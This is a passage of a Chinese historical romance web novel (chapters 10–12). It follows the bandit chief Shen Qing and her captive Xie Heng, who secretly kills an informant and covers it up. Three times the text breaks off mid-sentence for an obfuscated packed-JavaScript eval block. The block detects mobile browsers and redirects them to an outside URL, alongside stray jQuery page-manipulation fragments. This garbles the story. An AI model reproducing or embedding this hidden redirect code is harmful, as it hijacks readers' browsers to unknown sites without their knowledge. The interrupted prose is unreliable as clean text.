“算了吧,大哥,你的擅长不在此道,”萧瑞也跟着谢珩那般,一颗一颗将棋盘上的黑子收入棋笼中:“对了,听说昨天谢珩来信了,然后你把信给撕了?” “对啊,谁让他给我摆谱,还搞什么约法三章,谁要听他的啊。” 只是萧瑞有些若有所思:“大哥,你说我们有没有机会,跟谢珩这个人……” 知道他要说什么,沈青斩钉截铁摇了摇头:“不可能的,你看谢珩这几个月在渝州的作为就知道,剿匪这件事情,他势在必行。我们跟谢珩,或者说跟谢家,必有一战。现在双方暂时说和,不过是缓兵之计,都是在等一个机会,等将来有一日能一击将对方彻底击倒再无翻身之力呢。” 萧瑞那张稚气未脱的脸上带上几分与他年龄不太相符的凝重:“谢家……真是不好惹啊,诶,好端端的,那谢珩干嘛非要来渝州剿匪啊。” 谢氏百年宣赫,世家之首,无论是一人之下万人之上的大丞相、大将军,还是州郡之下一个普通的小县尉,大梁上下,半数以上的文武官员均出自于谢氏,谢家势力盘踞朝野,互相勾连。 即便一支绝断,别支亦可再起。 蝇蝇子孙,簪缨不绝。 与谢氏为敌,无异于与整个大梁朝廷为敌。 沈青不同意他的看法:“谢珩来渝州,对我们也还是有些好处的。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832533|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么好处?” 沈青一把拉过谢珩的袖子笑了起来:“把谢十三送到我身边了啊。” 萧瑞:“……” 谢珩勉强扯了扯嘴角算是回应,然后继续埋头收拾棋盘上的残局。 感受到他的沉默,沈青也意识到当着他的面议论怎么与谢家为敌是不太好,于是耐心安抚他:“放心吧,以后不管我们跟谢家多么势不两立,我是不会迁怒你的,你的直系亲人和兄弟,我也尽量不伤害他们性命,不就行了吗?再说了,谁输谁赢也不一定,到时候要是谢珩赢了,把我们全杀了,那你就自由了。” 谢珩叹了口气,由衷地问出心底的疑问:“你们到底是为何不肯被朝廷招安呢?” “被招安以后呢?”沈青抬眼看他,横手对着自己脖颈做了一个杀头的动作:“然后就等着被秋后算账?” 谢珩微抿了唇,先前他对莽山的招安态度,的确有此打算,招安本就是为了更彻底的镇压。 可是数日相处下来,他觉得沈青未必不能改邪归正,莽山势力或者可以真正收为己用。 “招安以后,朝廷必不会苛待你们,莽山上下几千兄弟都可以被编入军中,每月可以领朝廷固定发放的军饷度日,若是有机会,还能建功立业,甚至封侯拜相也未尝没有可能,”他顿了一下,又补充道:“即便信不过朝廷,你们也可以相信谢家,绝不会做出尔反尔的事。” 不料沈青毫不领情,反而轻蔑笑出声来:“你可不知道,我手下多少兄弟原先就是军中之人,你说他们放着军饷不拿,光宗耀祖的事不做,为何非要跑到我这深山里头当土匪?” 谢珩辩驳:“我知道你的意思,如今的朝廷风气的确需要整顿,我族兄谢珩已经在……” “光凭谢珩一己之力,能改变什么?”沈青直接打断他。 谢珩一下被她问住,怔了一瞬,才缓声道:“君子之责,虽千万人吾往矣。” 沈青并不在乎:“他一个人想怎么折腾就怎么折腾,别没事来折腾我就行。” 不知道这话哪里惹到谢十三了,他声音忽然就带上一层清寒:“若是所有人都像你们这般落草为寇,以他一人之力确实艰难。” 沈青也“蹭”地一下就站起来,按捺住一把将棋盘掀翻的冲动:“这还怪上我们了?没有我们,朝廷就不是这副鬼样子了吗?你知道什么是前后因果吗?因为朝廷是这副鬼样子,才会有一直不断有人沦为山匪!” 一阵气势汹汹爆发后,空气里忽然安静得诡异。 一个居高临下盛气凌人,一个身姿笔挺从容不迫,两人视线交汇间,一旁的萧瑞背脊上猛地一凉。 “好了好了,大哥,别总为了那谢珩大动肝火了,显得我们多忌惮他一样……” 萧瑞打着圆场,目光无声地瞪了一眼缩在外面偷摸听了半天墙角的赖三,赖三收到示意连忙推门跑进来:“老大,老大,有人找你!” 沈青不耐应付:“什么人?干嘛的?” 赖三上前一五一十告知:“是渝州刺史府里的户曹,说是有个重要的秘密务必要告知你,希望你能下山与他一见。” 谢珩冷着一张俊脸,默不作声在一旁将棋盘上散落的最后几枚白子收入棋笼中。 “谢珩不是昨晚才来过信吗?有什么事不能一次性说完吗?”听到刺史府这三个字,正是往沈青愤愤往外冒的心火上又浇了一层油。 赖三解释道:“这人不是用的刺史府公函,用的是私人名义来约见你。” 嗯?背着谢珩行事? 沈青顿时挑了挑眉:“他人在哪?带他过来看看。” 谢珩也不由得往草庐外望了一眼,外面并无他人。 赖三不由得面露难色:“老大,咱们莽山威名太大,他不敢上来……” 沈青就无语了:“不是,这户曹听起来就是个很小的官吧?就算谢珩说要见我,我都不一定赏脸去见的,他还挑上地方了?告诉他,有什么话,爱说就说,不说就滚远点。” “行,我这就去让他滚远点!”赖三得了答复,痛痛快快走了。 谢珩重新垂眸,收完最后一颗棋子。 沈青转头看他,慢悠悠嘲讽:“看来这谢珩驭下能力不太行啊,都出叛徒了。” 谢珩平静回她:“官场上本就尔虞我诈,也不是什么罕见的事。” 沈青摇了摇头:“我这莽山上下十几个山头,近万数的兄弟,可没出过一个叛徒。这说明什么?说明我在收服人心方面,比谢珩强多了。” 谢珩抬眸望她,眼神中隐隐有几分不甘,似乎想反驳些什么,最终却将嘴边的话咽了下去。 沈青最喜欢看他这副吃瘪的样子,顿时觉得就解气:“行了,你继续给萧瑞授课吧,不打扰你们了。” 出了草庐,她踩着一双黑靴慢慢吞吞在雪地里吱呀吱呀,既然谢珩最近应该是不会整什么幺蛾子了,那她的生孩子大计得抓紧推进了才行。 在她失去耐心之前。 10. 第 10 章 授完一天的课,谢珩就着昏昏暮色回到屋中,木几上已经摆好了不久前送来的饭菜,他将木几上烛台点亮,看清盘中的饭食,依旧没什么胃口。 原以为给萧瑞讲学只是沈青的一时兴起,现在却隐隐发觉沈青对此事颇为看中,以及他本以为萧瑞应该最多吊儿郎当敷衍几日,没想到求学之苦,在一个山匪那里倒有点甘之如饴的滋味了。 这一点,竟胜过不知多少洛京世家纨绔子弟。 小金顶山的一切,与他先前了解到的,越发不一样了。 暂时按下沈青这头没有多想下去,就着昏灯,他取笔沾墨,在纸上迅速写了“速查刘桧,斩草除根”八个大字。 等着墨迹晾干,他盯着字条上的几个字,露出一丝欣慰的神色。 那晚设计暗害他的人,终于坐不住冒头出来了。 “谢十三!” 一道青影大咧咧冲进来,谢珩忙一把掠过案上字条藏在袖中。 沈青看了一眼还没动过的饭菜,抡起手中大包袱重重往木几上一放:“我知道这山上粗茶淡饭你吃不惯,看我这次给你带了些什么好东西。” 谢珩心中只想着袖中字条必须今晚送出去才好,只好敷衍她:“明日再看吧,我今日有些疲累难受,想早些歇息。” 没想到沈青却非拽着他的袖子让他去开那包袱:“那正好,我保证你看到这里面的东西,就一点都不难受了!” “行,我现在看。”免得她不依不饶纠缠下去,谢珩只好伸手去解那包袱。 “怎么样?这可都是好东西吧?”沈青凑到他眼前,期待地看他反应。 谢珩望着包袱里堆得乱七八糟的各种物什,有种扑面而来的熟悉:“这些是……” “这些都是谢珩用的茶酒点心,衣物器具,我这次可真算大大开眼了,你这位族兄,一定是天下最矫情最多事最做作的人了!” 对这类言论,谢珩已经心如止水:“为何?” 这沈青可有话说了:“我也是今天才知道,他喝的那个茶叶,竟然是在江南西子湖边水雾最缭绕的山口,专门给他种了三株听说是什么什么反正一种极难种活的茶树,就只用来给他一个人供茶叶呢。” “还有这衣裳,这绸缎也太轻软太滑溜了吧,这个啊,连养蚕的桑树都是种在云梦之乡,只取最幼最嫩的蚕茧,再由江南传了几百年的一种织丝技艺做成绸缎,这技艺听闻天下只有那一人才会,那天下无双的手艺绝学,几乎都穿在谢珩身上了!” “然后这些酒啊,点心啊,还有几块玉石和一些乱七八糟的东西,反正都是大有来历的,这些都给你用,以后我的男人,也该用这种档次的东西!” 谢珩面无表情:“你这都是从哪来的?” “当然是抢来的啊,不然还能哪来的?”说到这个,沈青还忍不住分析了一顿:“这个谢珩,我看他真是不懂人情世故,我们双方暂时说和,也不想想之前怎么得罪的我,要是他大方点主动送些奇珍异宝来,可不比给我来个约法三章要奏效得多?还非得让我去抢一趟,可见平时他对你应该也不够阔绰,对身边的人不好,难怪会出叛徒。” 谢珩心如死灰:“你说得在理。” 见他神情总有些说不上来的不自在,沈青连忙贴心安慰道:“你也不用太感动了,为了俘获你的芳心,这都是我应该做的。” 若是在刚认识沈青之初,他听到这话,只会唾弃这登徒子下流无耻,现在对着这么一个清秀少年满眼诚挚,他的嫌恶变成了一声叹息:“那真是多谢你了。” “行,既然你今晚累了不舒服,就早点休息吧,我先走了。” 东西送到,这次的任务就完成了。 今日岳瑛又拉着她新讲了些道理,男女之情,也要讲究张弛有度,追得太紧了,人家也会厌烦。 今晚既送了礼物,又不留宿保持了距离,应该就是张弛有度了。 谢珩第一次见沈青如此主动离去,暗暗松了口气的同时,趁她出门前也多问了一句:“那你今晚,要宿在岳瑛那里?” 他必须确认今晚自己能避开所有人将字条顺利送出。 沈青已经将门开了一半,还是停下来回他:“我先去审一下那个户曹。” 谢珩瞬间如遭雷击:“什么户曹?” “就是今日赖三说的那个,好像叫什么刘桧,我去听一下谢珩有什么秘密。”一说到秘密,沈青眼中都泛出好奇的光。 谢珩迅速让自己平复下来:“你把人抓回来了?” 不是已经让人家滚了吗!? 沈青坦然点头:“是啊,我突然觉得还是挺好奇谢珩到底有啥秘密,让他手下不惜背叛他也要来找我告密。所以下午劫了替谢珩运送物资的车队,顺便把他也抢上来了。” 谢珩颇有点焦躁地摩挲了一下藏在袖中的字条,他步步筹谋,总无法应对沈青的率性而为。 见他没说话了,沈青跨步跃出小木门,返身关门最后还表达了一下自己的体贴:“那你今晚好好歇息。” 两扇门页缓缓合上,她的面容慢慢被隔绝在外,最后只剩小半张脸的时候,谢珩终于还是哑声开口。 “你……等等。” “嗯?” 沈青停下,隔着门缝,烛火影影绰绰照在她那张清越的脸上,半明半暗。 “你……”谢珩缓缓吸了口气:“我突然觉得……身子已经大好,并无不适了。” “啊?”沈青不明所以。 “就是……不如你今晚就在此歇下吧?” “那可真是太好了!” 谢珩话还没落下,沈青人已经一脚跨回房门,还顺便把身后的门合上,扬起一张脸,笑靥如花。 谢珩这才试探地问了声:“那户曹今晚可以不用审?” “人都已经在小金顶了,还怕他跑了不成?”沈青坐回木几前,手托着下巴望向谢珩:“佳人相留,还是这个比较重要。” 谢珩垂眸从桌上包袱里翻出两支通体珊瑚色的瓷瓶:“这酒名字就叫美人留,你辛苦抢来的,雪夜不妨畅饮一杯?” 沈青目光狐疑地上下将他扫了个遍:“我没听错吧?大晚上你留我喝酒?” 谢珩不想废话:“喝不喝?” “喝就喝呗,你都这么盛情邀请了。” 说得好像她不敢似的。 沈青挽了袖子,一把拿起一只瓷瓶,拔开木塞就要开始仰头痛饮。 “你……你等一下。” “你又怎么啦?” 谢珩实在不能接受这如牛饮水的气派,未免太暴殄天物了。 “这酒的酒饮子,是用的天山之巅三年才能开花结果一次的红莲子,莲红如血,所以这酒颜色像是美人落下的胭脂泪,故名美人留。而酿就这酒,则是用天山脚下的青稞与天山圣泉,所以酿出来的酒也是至纯洁净,必须用上等红玉玛瑙打磨出来的酒瓶来装。” 他耐心把这美人留好好介绍一番,虽说这等仙露琼浆与他而言并不稀奇,但眼睁睁看着牛嚼牡丹,他总看不过去。 沈青歪头认真听着,一双秀眉越蹙越紧,最后索性干脆将手中那枚鲜妍夺目如美人盛装的细颈酒瓶推远了些:“那我还是不喝了,这一口下去,可不知道有多少民脂民膏。” 谢珩颇有些意外地抬眸看了她一眼,然后自己取了酒瓶涓涓如泉斟满一杯递给她:“我谢家百年基业,一瓶酒还不至于到搜刮民脂民膏的地步。” 沈青看着杯中的酒清粉剔透,果然如美人粉泪凝香,她捧着酒杯,努力斯文地咂了一口。 “嘶,好辣!” 这酒看起来旖旎温柔,喝起来居然像烈火浇喉,原来好看的酒跟美人一样,也是如此具有迷惑性! 比她喝过的所有酒都有劲! 谢珩笑意浅浅:“这酒太烈,浅尝辄止,亦可飘然羽化。” 喉头才刚滚过一遍烈酒将味蕾打开,杯中粉澄粉澄的酒水看起来更加妍丽,如美人嫣然一笑,沈青自知酒量不行,但这美人留早就勾得人欲罢不能:“那就先喝完这一杯吧。” 方才的斯文不小心又抛诸脑后,举杯仰头,大半杯酒咕咚下肚,她舒舒服服“啧”了一声:“真不错,果然世上的人都想要权势富贵……” 她一双眼睛亮亮的,在杯酒下肚后,开始慢慢染上一层朦胧。 谢珩不动声色又将她面前的酒杯斟满,然后收回手替自己也斟上半杯,略一酝酿了一下,还是举杯:“今日在草庐中,不该因为族兄……而跟你起争执,还望你多担待。” “你这人竟然还会道歉?”沈青脱口而出,不过在谢珩冷眼扫过来的一瞬,她立刻话锋一转:“倒也不必自责,正常夫妻相处都有争执打闹的时候,你还是我抢来的,允许你有些脾气。” 饶是她再迟钝,她也能听出人家这语气里的生硬和勉强,但是都这么勉强了,他还是愿意硬着头皮说出服软的话,看来她的生孩子大计又顺利往前迈进了一步! 为了表示她的不计较,这杯酒她毫不犹豫直接一口闷掉。 清冽柔滑的烈酒淌过舌尖喉头,蔓延到四肢百骸,最后在脑海里片片炸开绚烂烟花。 “看,窗外在下雪。” 身子像被烈火簇拥着,窗外清寒引起她的注意,才发现不知何时起,外面又飘起了鹅毛大雪。 她伸手指向窗外,猛一看自己一只手上不知长了多少个手指,她用力眯眼摇了摇头,再看谢十三……好多个谢十三。 “我只给你斟了两杯酒,剩下的可都是你自己喝的了。” 谢十三的声音低沉醇厚,缓缓在耳边荡漾开来,沈青朦胧着一双星眼,沉溺于酒杯中绮丽酒色,也沉迷于灯下玉容绝色。 “你再过来一些。”她声音软款着,语气依然是毋庸置疑的霸道。 谢珩拢了拢袖子,摸到袖中暗器玄关,才半侧着身子往她那边靠近了些,刚靠近一点,就被沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849839|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青一把抱了个满怀。 她温热的额头半贴在他脖颈上,唇齿气息间都是清冽酒香,谢珩默默松开袖中玄关,现在他已不必这般警觉,这个怀抱,她只是在怀抱一个心爱之物罢了。 “睡着了吗?”他低声询问。 “你真好看。”她埋在他颈间答非所问。 谢珩瞥了一眼桌上一只完全见底的玛瑙酒壶,又耐心地等了一会,耳边又黏黏糊糊传来一句:“放心,好好跟着我,我可不会委屈了你。” 他叹了口气,任由沈青继续熊抱着他,坐直了身子不动如山。 原来大雪纷纷扬扬飘落的时候,仔细去听,能听见满世界的静谧空寂。 直到伏在胸口的这人慢慢软倒下去,谢珩伸手将她托住。 “沈青?” 终于,回应他的只有酒醉后的细细轻鼾。 他将沈青一只手搭在自己肩上,撑着她将人拖到榻边,总觉得这副身子骨有些太轻了,他轻而易举就将人放倒在榻上。 只是放下去的动作不够轻柔,沈青的身子在榻上磕了一下,她皱着眉头不满地“嘤咛”了一声。 谢珩猛然顿了一下。 一个男人……怎么能发出这样的声音? 他不由得垂眸又端详了几眼榻上酣眠的睡颜,纤长睫毛密密覆下,清隽眉眼不可不畏俊美。 尤其是酒后两颊微微泛起的红霞……莽山恶贯满盈的匪首,很难理解,为何是一副这样阴柔的长相。 谢珩不再多看,胡乱往她身上扔了一张被褥,罩住那张清绝容颜。 难怪洛京城那些有断袖之癖的男子,许多都喜欢做油头粉面的打扮,追求阴柔之故吧。 木门被无声推开,谢珩身姿飘然,消失在雪夜之中。 在小金顶上稍微摸盘一番,他顺利找到刘桧被关押的柴房,柴房里连灯都没点上一盏,只有外面檐下挂着一盏孤灯摇曳。 看来沈青自信小金顶上的绝对安全,柴房外只有两个兄弟守在那里一边喝酒一边百无聊赖玩着骰子。 谢珩袖中银丝抽出,在地上卷了两枚小石子,寂寂中破空飞出,门外两个兄弟应声倒下。 他悄无声息走到门口,顺手将门外昏倒过去的两人调换个方向,这样看起来便是受到了从柴房里出来的攻击。 门锁“吧嗒”一声被打开。 屋内柴草堆上靠了个人,突然被灌进来的冷风吹醒,忙下意识用手挡了脸,透过指缝看清敞开的大门前立了一个清颀人影,身后是苍山夜雪茫茫,来人衣袂翩跹,恍惚世外谪仙。 “你……刺史大人?” 谢珩款步走了进来,檐下孤灯透进一点微光,隐隐照映出他清疏绝俗的容颜。 “原来那日是你将我引到莽山对我下手,你背后是何人指使?” 他的声音明明没什么情绪,字字听来比夜雪还要寒凉,平静得瘆人。 刘桧咽了口唾沫:“是我没错,但这都是我一人所为,无人指使我!” 谢珩垂眸看他:“一个没有品级的户曹,能将事情做到这一步,你也未免太高看自己了。不过你宁可不要这条命,也不肯说出是谁指使的,看来这背后,比我想象中还要错杂。” 刘桧看了一眼门口被放倒得两个匪徒,自知今夜难逃一死,反而放松了身子,冲着谢珩大笑了起来:“我也不妨告诉你,因为我对你恨之入骨,我要替我儿子报仇!” 谢珩略回忆一下,面上没什么波澜:“你儿子身为官眷,却带头破坏朝廷的均田令,强占百姓田地二十亩,打死百姓两名,我不过是按律处斩,甚至并没有牵连到你的职位,已经是格外开恩。” “二十亩地,仅仅二十亩地而已,还有那两条不值钱的贱命,”刘桧激动得梗直了脖子,但终究还是不敢多靠近谢珩:“就这么一点点东西,哪里谈得上不遵循均田令?你好好在洛京过着养尊处优的生活不行,为什么非要来渝州?你想建功立业就要拿我儿子开刀啊!” “本来那天晚上是想亲手宰了你的,结果不小心被莽山的人发现,但是看到你现在这副模样,我更痛快了,什么洛京第一公子,什么谢氏未来家主,现在已经变成土匪窝里弯腰献媚、榻上承欢的男宠小倌了!你们谢家清门,永永远远要被世人耻笑下去了!” 刘桧笑得越发癫狂,谢珩微微不耐蹙了蹙眉头,袖中银丝锃然乍现,如灵蛇一般缠上对方脖颈。 “我知道了,原来是因为均田令啊。” 你可以闭嘴了。 银丝猛然一收,笑声戛然而止。 窗外风急雪更骤。 沈青在酣然好眠中翻了个身,被角下半露出的眉眼舒展,看起来像是做了个美梦。 谢珩带了一身雪寒悄无声息掩上房门,俯身欲将案上烛火吹灭时,忽而想到什么,从袖中取出那张本来今晚要送出去的字条,斜着纸角沾上微微颤动的火苗,火光忽然一瞬在他清冷眉眼间明亮一下,落下簌簌灰烬。 11. 第 11 章 沈青一大早是被门外一群大男人聒噪声扰醒的,她睁眼眨了两下便一骨碌坐起来,心中甚是欣慰。 兄弟们终于是懂事了,没有在她睡觉的时候直接拍门冲进来。 身边的谢十三这次终于也听话了,在她坐起来后,才悠悠转醒,懵懂听着外面动静。 “我发现一件神奇的事,”见他醒来,沈青迫不及待跟他分享:“原来那种绝世佳酿,喝完宿醉醒来竟然不会头痛诶!怪不得我以前每次醉了一宿醒来脑袋突突地疼,都是因为酒不好啊!” “……嗯,也许是这样吧。”谢珩没喝过粗劣的酒,他也不知道。 沈青撑着下巴,美滋滋望着一醒来就让她看得开心的脸,自顾自感叹:“温柔乡,英雄冢啊。” ……又来。 谢珩别过头撇开她直视的目光,提醒道:“外面好像有人在等你。” 沈青今日心情不错,慢悠悠起床下榻,迈出木门正伸着懒腰,手还没举过头顶整个人一激灵直接站定了。 外面这一大堆几十号人是怎么回事!? 尤其兄弟们个个一脸心虚得不敢直视她,齐刷刷把萧瑞推到最前面,萧瑞……看起来也很不想站在这里的样子? 她狐疑试探:“干嘛?你们不会是背着我偷偷投靠了谢珩吧?” 萧瑞腆着脸非常努力地挤出一个笑容:“那倒不至于,我们哪是这样的人啊……” 还好,那就没什么大事了,沈青狠狠松了口气,就听见萧瑞说道:“不过昨天我们抓回来的那个户曹……跑了。” “啊,跑了?”沈青简直是虎躯一震:“还有人能从我小金顶上跑下去?” 而且还是一个怎么看怎么废物的人? “……那倒是没有活着跑下去,南面崖边树枝上挂了他衣裳上的几片碎布,那个位置掉下去,一晚上估计尸体都被野兽吃得差不多了。” 沈青悬起的心又放下一点:“怎么回事?” 见她没有大发雷霆,萧瑞立刻开始控诉:“大哥,这根本不关我的事,他们昨天没守好让人打晕了从柴房里跑了出来,不敢来找你说,才威逼利诱拖着我来陪他们负荆请罪的!” 沈青听着还是觉得有些离谱:“那刘桧我怎么看他,都没本事关在柴房还能偷袭到你们吧?” 昨晚守在柴门的两个兄弟,有了萧瑞打头阵,也将昨晚是怎么被偷袭,醒来后如何勘测了现场,最后又怎样沿着他的逃跑痕迹找到他落崖的地点,一五一十跟沈青汇报了。 总之不仅他们俩,后来萧瑞闻讯又带人去了现场仔细勘察了一番,的确没有其他疑点。 沈青一双眉头微蹙着,直到前因后果全部听完,连萧瑞都看不出什么问题,她也没太大反应:“死了也正好,说明我们小金顶上果然是逃不出去的,想逃就是找死。” 要真活着逃出去了,那才是给小金顶丢脸呢。 “大哥,那咱们先撤了?”萧瑞见她没再追究,赶紧先替兄弟们解围。 “去吧,该干嘛干嘛去。”沈青笑意还算温和。 看着萧瑞带着兄弟们离去的背影,虽然身形还有些单薄稚嫩,但他到底也是在无形中,慢慢成为兄弟们所依赖和拥护的存在。 她也很欣慰,不用多交待,她知道萧瑞后面肯定会对小金顶的守卫做出新的改善和布置。 待人走远,她重新回身关上了房门,嘴边噙着的那抹笑意变得格外寒凉。 她定定盯着一直默默站在身后的人,凉声问道:“是不是跟你有关?” 昨晚她要去审刘桧,他就破天荒将她留宿,她经不住劝醉得不省人事,醒来刘桧就跑了,她绝不信这只是个巧合。 谢珩静静对上她那双寒星般的眼睛,点头应下:“是。” 沈青意外于他的坦然,声音又沉了两分:“不想活了吗?” 谢珩顶着在周身弥漫开的杀意,身前像有一只凶狠的小兽正对他虎视眈眈,只要他说错一句话,这只小兽必定冲上来将他撕碎。 “不管怎么样,我都是谢氏子弟,谢珩是我的族兄,对于刘桧的叛变,抱歉,我没办法做到袖手旁观。” “然后呢?”沈青继续等他下文。 “当时听到他落在你手上,我第一反应便是拖延时间,所以将你留下,让你多喝几杯醉倒过去。原本我是想偷偷去找刘桧,要么劝他不要乱说,要么就背地里将他放走,只是我……我也没想到他自己会逃跑。” “人不是你放走的?为什么?”沈青听出他话里别有玄机,又为他天真愚蠢的想法而可笑。 谢珩又抬眸觑了她一眼,沈青感受到他眼神里有种意味不明的情愫,她心里隐隐觉得有些怪异,而后便看见谢珩缓缓吸了口气,竟然抬手解开了自己的衣襟,一点一点从脖颈褪到锁骨。 沈青目光猛然凝住。 那冰肌玉骨间,鲜红交错的点点痕迹,可真是……激烈啊。 她难以置信地指了指自己鼻尖:“不会是我干的吧?” 她身在草莽,在男人堆里摸爬滚打的人,自然知道这些鲜妍夺目的痕迹代表着什么,可是这未免还是太禽兽了吧?更可怕的是,这个禽兽竟然就是她自己? 谢珩迅速重新将衣裳拢上,一双眸子垂得极低,原来总是笼在他身上的那一股清傲,都变得低缓起来。 “我没得机会出门,没料到刘桧自己跑了。” 沈青在一阵心猿意马中勉强找回一丝冷静情绪:“我……真把你给睡了?” 若她昨晚真把生米煮成熟饭,谢十三不可能没发现她是女儿身,可是看他神情,绝不像是知道这个秘密的样子。 那么,他就是在撒谎。 她不动声色,静静等着他回答。 她问得实在太露骨,谢珩一张玉容红霞微染,好一会儿才启齿:“你……也没,也没全然……你没多久又睡着了……” 从他断断续续的言语中,沈青大概能拼凑出昨晚发生的一切,应该只是她喝多了,单方面对人家进行了一顿上下其手……所以他没识破她的女儿身,倒也合理。 她脸上隐隐热得刺脸,于是坐下来,翻开茶壶仰头给自己灌了几口冷茶。 至于刘桧,谢十三有心要放他走,可惜这人命薄,自己乱跑先一命呜呼了。 这便让她有些为难了,毕竟这谢十三是真算计了她想要将人放走,可最后呢,刘桧实实在在又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862259|158863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己跑掉的。 有句古话是怎么说来着? 到底是君子论迹不论心还是论心不论迹来着? 沈青在脑海中天人交战,谢珩也低垂着眉眼立在一边,见她许久没有决断,抿了抿唇,主动开口:“昨晚的确是我算计了你,要杀要剐,悉听尊便。” 这语气,是沈青从未从他口中听到过的低迷。 沈青不由得抬眸看他,他颀长清雅的身姿就立在自己眼前,只是垂敛着眉眼,初见时清霜傲雪的风骨被倾折,取而代之的是乖顺和谨慎。 巍巍玉山,颓靡玉碎,我见犹怜。 她视线又忍不住瞟到他衣襟下若隐若现的红痕上,心里对他的那股火气忽然就转变为对自己的愤懑,人家都已经主动认错了,还要怎么样呢?还有什么好追究的呢? 她叹了口气:“算了,就算人是你放走的,也不是什么大事。” 没想到谢十三却执拗了起来:“没有就算,人不是我放的。” “行行行,不是你放的,这事我不计较了。” 色令智昏就色令智昏吧! 突然有了定论,两人之间一阵静默,空气里莫名诡异。 沈青轻咳了一声:“那个……你衣裳再裹紧些,别让人看见了。” 她自己实在是没眼看。 直到看着谢十三默不作声把襟口又拢紧了些,她才觉得自己还算能正常说话,赶紧把话题岔开:“那个……刘桧要跟我说的秘密,你知道是什么吗?” 虽然刘桧已死,但她对谢珩的好奇之心不死。 谢珩摇摇头:“莽山与官府对峙这几个月,我族兄还能有什么秘密会是你不知道的?刘桧这种本就在渝州的地方官员,向来与我们这种从洛京来地方做官世家子弟不和,我更偏向于他是想找个由头挑拨离间,最好能借你的手除掉我族兄罢了。” 沈青沉吟着,觉得倒也有几分道理,何况就算是有什么她未知的秘密,这谢十三也不会说啊。 “算了,谢家的事,你若真对我坦然相告,那也说明我看错了人。” 谢珩意外地看向她。 沈青耸耸肩,语气轻快:“谢家是官,我是匪,这本来就是我们的天然矛盾,所以我能理解你的处境。我看上你了,将你留在身边,当然希望有一日你能心甘情愿跟着我。” 连日相处下来,谢珩对这莽山悍匪其实是有了改观的,终究不能算是传闻中的大奸大恶,但也改变不了他就是一个刁蛮霸道不通事理的匪徒的事实。 可是今日,他第一次直观地感受到,作为统领了莽山数峰几千人匪众的首领,他的气度与胸襟,也绝非寻常人能与之比肩。 这样的人,要是没有落草为寇……该会大有作为。 “多谢。”他简单道了句谢,语气中有几分难得的由衷。 沈青也虚心求教他:“我实在难以想象,这世上竟然会有人跟我相处久了后,没有喜欢上我?” 虽然知道没什么用,谢珩还是非常郑重地重申了一遍:“沈青,我不是断袖。” 沈青却眉开眼笑起来,一双眸子里像是落入星河。 “我知道你不是断袖啊,不是断袖才好呢。” 12. 第 12 章 皑皑白雪覆盖着莽山群峰,小金顶上难得地平静了两天。 谢珩整天的时间,基本都是在给萧瑞授课,沈青觉得无聊,干脆每天也赖在草庐,坐在最后边听着他之乎者也地讲一些“修齐治平”的道理。 听,她是听得昏昏欲睡的,但就是喜欢看谢十三一袭白衣端坐案前萧肃爽朗的模样,这是她在过去十多年的人生里从未见过的男子气度,谦谦君子,温润如玉。 为了不让自己彻底栽倒睡着,她总觉得要找些什么事来打发时间,忽然想到先前过来路上,赖三给她塞了几张公文一样的纸张,她急着来听课,也没来得及打开一看到底是什么。 “天啊!” 两只眼皮正艰难打架的沈青,忽然一个激灵猛地坐直了身子,草庐里娓娓说道的讲学的声音顿时中断。 萧瑞很是嫌弃地回头埋怨:“大哥,你这一惊一乍要吓死谁?” “不是,一般我是泰山崩于前而面不改色的,但这次我们好像要发一笔财了!” “发财!?”萧瑞瞬间所有注意力都被发财吸引过去。 沈青兴致勃勃在桌上铺开一张卷纸,上面白纸黑字是一张悬赏令,有朱笔赫然写着的“沈青”二字。 “谢珩以为我杀了刘桧,誓要将我绳之以法,悬赏令上我的身价都涨到五百金了!之前那么多年,官府都只出一百金,果然还是谢珩这种身家厚实的人出手阔绰!” 想到这,她忍不住感叹:“那个刘桧,我本来只是想把他捉来等他说完秘密就放他走的,诶,他自己摔死了,倒是让我发了个财。” 谢珩望向沈青这副不以为耻反以为荣的嘴脸:“这悬赏令上的赏金,不是赏给捉拿你的人吗?” 跟你有什么关系呢? 沈青睨了他一眼:“我都这么高身价了,哪天就让萧瑞将我绑了送去刺史府,等领了赏金,我再逃出来就是嘛。” 以前官府也发悬赏令,被她用一些偷梁换柱之类伎俩骗了好几次赏金,后来官府也吸取了教训,再没发过悬赏令,这谢珩非不信邪,那可不能怪她了。 谢珩在心底冷笑:“那你也真是太小瞧刺史府的地牢了。” 沈青没理会他,正喜滋滋欣赏着那张写着她大名的悬赏令,忽然一下觉得哪里有些不对:“萧瑞,刘桧死了的这几天,谢珩都在做些什么?” 